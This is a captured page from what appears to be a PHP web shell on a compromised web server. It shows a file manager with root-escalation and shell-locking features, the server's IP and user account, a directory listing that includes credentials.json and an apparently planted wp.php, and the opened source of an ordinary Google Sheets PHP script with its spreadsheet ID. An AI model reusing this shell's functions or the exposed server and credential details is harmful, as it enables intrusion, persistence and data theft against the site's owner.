Linux host2.homegym.sg 4.18.0-553.8.1.el8_10.x86_64 #1 SMP Tue Jul 2 07:26:33 EDT 2024 x86_64
Apache
Server IP : 159.223.38.192 & Your IP : 159.223.38.192
Domains : 20 Domain
User : eachadea
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Lock Shell
Lock File++
Readme
/
home /
eachadea /
public_html /
delivery_summary /
Delete
Unzip
Name
Size
Permission
Date
Action
.well-known
[ DIR ]
drwxr-xr-x
2025-10-28 12:40
assets
[ DIR ]
drwxr-xr-x
2025-10-29 23:03
vendor
[ DIR ]
drwxrwxr-x
2025-10-28 12:40
.htaccess
417
B
-rw-r--r--
2025-10-17 18:08
composer.json
62
B
-rw-rw-r--
2020-11-05 03:39
composer.lock
30.76
KB
-rw-rw-r--
2020-11-05 03:39
credentials.json
2.31
KB
-rw-r--r--
2020-11-05 05:04
credentials.json_quick
405
B
-rw-r--r--
2020-11-05 03:54
doc.php
12.56
KB
-rw-r--r--
2025-10-28 12:40
error_log
128.03
KB
-rw-r--r--
2024-05-17 20:37
index.phtml
8.99
KB
-rw-r--r--
2020-12-03 03:19
loadName.php
98
B
-rw-r--r--
2020-11-05 08:14
loadSummary.php
124
B
-rw-r--r--
2020-11-05 13:52
saveComment.php
136
B
-rw-r--r--
2020-11-05 13:49
saveSummary.php
136
B
-rw-r--r--
2020-11-05 10:08
summary.php
5.67
KB
-rw-r--r--
2021-06-25 09:03
wp.php
18
B
-rw-r--r--
2025-10-28 12:36
Save
Rename
<?php require __DIR__ . '/vendor/autoload.php'; /* * We need to get a Google_Client object first to handle auth and api calls, etc. */ $client = new \Google_Client(); $client->setApplicationName('My PHP App'); $client->setScopes([\Google_Service_Sheets::SPREADSHEETS]); $client->setAccessType('offline'); /* * The JSON auth file can be provided to the Google Client in two ways, one is as a string which is assumed to be the * path to the json file. This is a nice way to keep the creds out of the environment. * * The second option is as an array. For this example I'll pull the JSON from an environment variable, decode it, and * pass along. */ $client->setAuthConfig('credentials.json'); /* * With the Google_Client we can get a Google_Service_Sheets service object to interact with sheets */ $sheets = new \Google_Service_Sheets($client); /* * To read data from a sheet we need the spreadsheet ID and the range of data we want to retrieve. * Range is defined using A1 notation, see https://developers.google.com/sheets/api/guides/concepts#a1_notation */ $data = []; // The first row contains the column titles, so lets start pulling data from row 2 //$currentRow = 2; // The range of A2:H will get columns A through H and all rows starting from row 2 $spreadsheetId = '1SPRO8JsVGMl7zP6hwVtv6KmNzzHk33XAaxIhIh9Vb8g'; $range = 'A2:E500'; $rows = $sheets->spreadsheets_values->get($spreadsheetId, $range, ['majorDimension' => 'ROWS']); /* if (isset($rows['values'])) { foreach ($rows['values'] as $row) { if (empty($row[0])) { break; } $data[] = [ 'col-a' => $row[0], 'col-b' => $row[1], 'col-c' => $row[2], 'col-d' => $row[3], 'col-e' => $row[4], 'col-f' => $row[5], 'col-g' => $row[6], 'col-h' => $row[7], ]; // Now for each row we've seen, lets update the I column with the current date $updateRange = 'I'.$currentRow; $updateBody = new \Google_Service_Sheets_ValueRange([ 'range' => $updateRange, 'majorDimension' => 'ROWS', 'values' => ['values' => date('c')], ]); $sheets->spreadsheets_values->update( $spreadsheetId, $updateRange, $updateBody, ['valueInputOption' => 'USER_ENTERED'] ); $currentRow++; } } */ function getAllDate() { global $rows; $date = []; foreach ($rows['values'] as $row) { if (empty($row[0])) { break; } array_push($date, $row[0]); } return array_slice(array_unique($date), 0, 5); } function getName($date) { global $rows; $name = []; $trigger = 0; $spacer = '....................'; foreach ($rows['values'] as $row) { if (empty($row[0])) { break; } if ($row[0] == $date) { if ($trigger == 0) { $oldOccurance = $row[1]; $trigger = 1; } $newOccurance = $row[1]; if ($oldOccurance != $newOccurance) { array_push($name, $spacer); $spacer .= "."; } array_push($name, $row[2]); $oldOccurance = $newOccurance; } } return array_unique($name); } function setSummary($date, $name, $summary) { global $range, $sheets, $spreadsheetId; $rows = $sheets->spreadsheets_values->get($spreadsheetId, $range, ['majorDimension' => 'ROWS']); $currentRow = 2; for ($a=0;$a<count($rows);$a++) { $updateRange = 'D'.$currentRow; if ($rows[$a][0] == $date && trim(preg_replace('/\s\s+/', ' ', $rows[$a][2])) == trim(preg_replace('/\s\s+/', ' ', $name))) { $updateBody = new \Google_Service_Sheets_ValueRange([ 'range' => $updateRange, 'majorDimension' => 'ROWS', 'values' => ['values' => $summary], ]); $sheets->spreadsheets_values->update( $spreadsheetId, $updateRange, $updateBody, ['valueInputOption' => 'USER_ENTERED'] ); return 1; } $currentRow++; } } function getSummaryComment($date, $name) { global $rows; for ($a=0;$a<count($rows);$a++) { if ($rows[$a][0] == $date && trim(preg_replace('/\s\s+/', ' ', $rows[$a][2])) == trim(preg_replace('/\s\s+/', ' ', $name))) { $value = [$rows[$a][3], $rows[$a][4]]; return $value; } } } function setComment($date, $name, $comment) { global $range, $sheets, $spreadsheetId; $rows = $sheets->spreadsheets_values->get($spreadsheetId, $range, ['majorDimension' => 'ROWS']); $currentRow = 2; for ($a=0;$a<count($rows);$a++) { $updateRange = 'E'.$currentRow; if ($rows[$a][0] == $date && trim(preg_replace('/\s\s+/', ' ', $rows[$a][2])) == trim(preg_replace('/\s\s+/', ' ', $name))) { $updateBody = new \Google_Service_Sheets_ValueRange([ 'range' => $updateRange, 'majorDimension' => 'ROWS', 'values' => ['values' => $comment], ]); $sheets->spreadsheets_values->update( $spreadsheetId, $updateRange, $updateBody, ['valueInputOption' => 'USER_ENTERED'] ); return 1; } $currentRow++; } } ?>